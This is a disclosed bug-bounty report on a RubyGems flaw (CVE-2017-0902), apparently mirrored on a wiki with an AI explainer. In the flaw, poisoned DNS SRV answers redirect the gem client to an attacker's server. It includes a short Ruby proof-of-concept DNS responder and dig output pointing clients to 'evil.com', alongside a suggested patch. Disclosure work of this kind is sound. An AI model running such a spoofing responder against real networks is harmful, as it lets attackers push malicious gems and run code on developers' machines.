Skip to content
RCE Disclosed report Advanced CVE-2017-0902CVE-2015-3900CVE-2015-4020

Request Hijacking Vulnerability in RubyGems 2.6.11 and earlier

The RubyGems client verifies DNS SRV responses for gem server API discovery insufficiently, allowing a man-in-the-middle attacker to poison the response and redirect the client to an attacker-controlled gem server. The attacker could then serve malicious gems, leading to remote code execution on the client machine.

claudijd Follow

Originally disclosed on HackerOne

  • Fixed in 5 months
  • Paid in 5 months
  • Disclosed after 5 months

Description:

The RubyGems client supports a gem server API discovery functionality, which is used when pushing or pulling gems to a gem distribution/hosting server, like RubyGems.org. This functionality is provided via a SRV DNS request to the users gem source hostname prepended with "_rubygems._tcp.". The response to this request tells the RubyGems client (aka: the gem command) where the users gem server API is. In the default RubyGems scenario, with a gem source of https://rubygems.org, the users SRV DNS request and reply will look like this:

~ $ dig srv _rubygems._tcp.rubygems.org +short
0 1 80 api.rubygems.org.

Due to a deficiency in DNS response verification, a MiTM positioned attacker can poison the DNS response to this record response and force the client to unknowingly download and install Ruby gems from an attacker controlled gem server in an alternate security domain. An example of such a scenario would look like so:

~ $ dig _rubygems._tcp.rubygems.org SRV +short
0 0 53 evil.com/api.rubygems.com.

In such a scenario, the attacker is able to serve the client malicious gem content, resulting in trivial remote code execution scenarios. For example, the attacker could simply modify the gem source code and trigger code execution via the extensions API at install time on the client machine (a gem trojaning technique described by Ben Smith in his "Hacking with Gems" presentation at Aloha Ruby Conference in 2012 - https://www.youtube.com/watch?v=z-5bO0Q1J9s)/

This vulnerability has the same net effect/impact as CVE-2015-3900 and CVE-2015-4020.

Affected method in Gem::RemoteFetcher:

https://github.com/rubygems/rubygems/blob/5096fa35c1ca3e0a7d175aaf9d77cd93114fd977/lib/rubygems/remote_fetcher.rb#L101-L119

PoC DNS SRV Responder:

#!/usr/bin/env ruby
require 'rubydns'
require 'rubydns/system'
INTERFACES = [
	[:udp, "0.0.0.0", 53],
	[:tcp, "0.0.0.0", 53]
]
Name = Resolv::DNS::Name
IN = Resolv::DNS::Resource::IN	
RubyDNS::run_server(:listen => INTERFACES) do
  match(//, IN::SRV) do |transaction|
    transaction.respond!(0,0,53,"evil.com/api.rubygems.com")
  end
end

Recommendations:

Consider this small patch to address the immediate attack vector...

-      if /\.#{Regexp.quote(host)}\z/ =~ target
+      if (/\.#{Regexp.quote(host)}\z/ =~ target) && !target.include?("/")

Also, consider moving away from doing API discovery via DNS. Would recommend moving to HTTPS, where you will have a stronger transport security chain.

References (these are not new, just references prior work here to help triage team understand impact):

The original report as published on HackerOne, by claudijd. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the client only checks that the SRV target ends with the expected hostname but does not reject targets containing a slash, allowing a crafted target like 'evil.com/api.rubygems.com' to pass the check.

Impact

A man-in-the-middle attacker could force the client to download and install malicious gems, resulting in remote code execution.

What the attacker needed

Attacker can intercept DNS traffic (MiTM)

The fix

The report suggests a patch to also reject targets containing a slash, and recommends moving API discovery away from DNS to HTTPS.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you install a Ruby gem, the gem command asks DNS where to download it from. The report says the gem command does not check that answer properly, so someone who can intercept your internet traffic can lie about the location and send you a malicious gem. Installing that gem can run attacker code on your computer.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by claudijd

View all

3 more disclosed reports, best first.

More from RubyGems

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.